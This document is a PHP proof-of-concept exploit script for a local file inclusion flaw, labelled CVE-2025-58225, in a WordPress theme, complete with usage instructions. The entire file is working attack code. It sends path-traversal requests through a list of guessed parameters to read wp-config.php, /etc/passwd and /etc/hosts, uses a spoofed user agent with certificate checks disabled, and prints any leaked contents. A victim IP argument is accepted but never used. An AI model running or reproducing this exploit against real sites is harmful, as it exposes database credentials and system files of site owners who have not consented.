<?php
/**
* CVE-2025-58225 PoC - WordPress Paragon Theme Local File Inclusion
* Affected: axiomthemes Paragon Theme <= 1.1
* CVSS: 8.1 (High)
*
* Usage: php poc.php [target_url] [victim_ip]
* Example: php poc.php http://target.com 192.168.1.100
*/
error_reporting(0);
function exploitLFI($target, $targetIp) {
echo "[*] CVE-2025-58225 Paragon Theme LFI Exploit\n";
echo "[*] Target: $target\n";
// Common vulnerable parameters in WordPress themes
$vulnerableParams = [
'template',
'theme',
'page',
'file',
'include',
'load',
'view'
];
// Files to attempt to read
$targetFiles = [
'../../../../wp-config.php',
'../../../wp-config.php',
'../../wp-config.php',
'../wp-config.php',
'/etc/passwd',
'/etc/hosts'
];
foreach ($vulnerableParams as $param) {
foreach ($targetFiles as $file) {
$url = $target . '/?' . $param . '=' . urlencode($file);
echo "[*] Testing: $url\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check for successful file inclusion
if ($httpCode == 200 && (strpos($response, 'DB_NAME') !== false ||
strpos($response, 'root:') !== false ||
strpos($response, '<?php') !== false)) {
echo "[!] VULNERABLE! Found: $file\n";
echo "[+] Response excerpt:\n" . substr($response, 0, 500) . "\n";
return true;
}
}
}
echo "[-] No vulnerable parameters found or target not affected\n";
return false;
}
// Main execution
if ($argc < 2) {
echo "Usage: php poc.php <target_url> [victim_ip]\n";
echo "Example: php poc.php http://vulnerable-site.com\n";
exit(1);
}
$target = rtrim($argv[1], '/');
$victimIp = isset($argv[2]) ? $argv[2] : gethostbyname(gethostname());
exploitLFI($target, $victimIp);
echo "[*] Exploitation attempt completed.\n";
?>